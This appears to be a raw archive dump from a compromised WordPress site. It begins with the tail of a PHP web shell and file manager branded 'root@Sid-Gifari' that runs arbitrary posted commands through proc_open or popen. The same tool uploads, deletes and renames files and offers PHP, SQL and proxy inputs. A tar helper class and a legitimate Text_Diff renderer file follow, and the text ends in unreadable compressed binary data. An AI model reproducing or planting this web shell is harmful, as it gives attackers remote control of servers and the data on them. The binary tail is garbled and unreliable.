                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
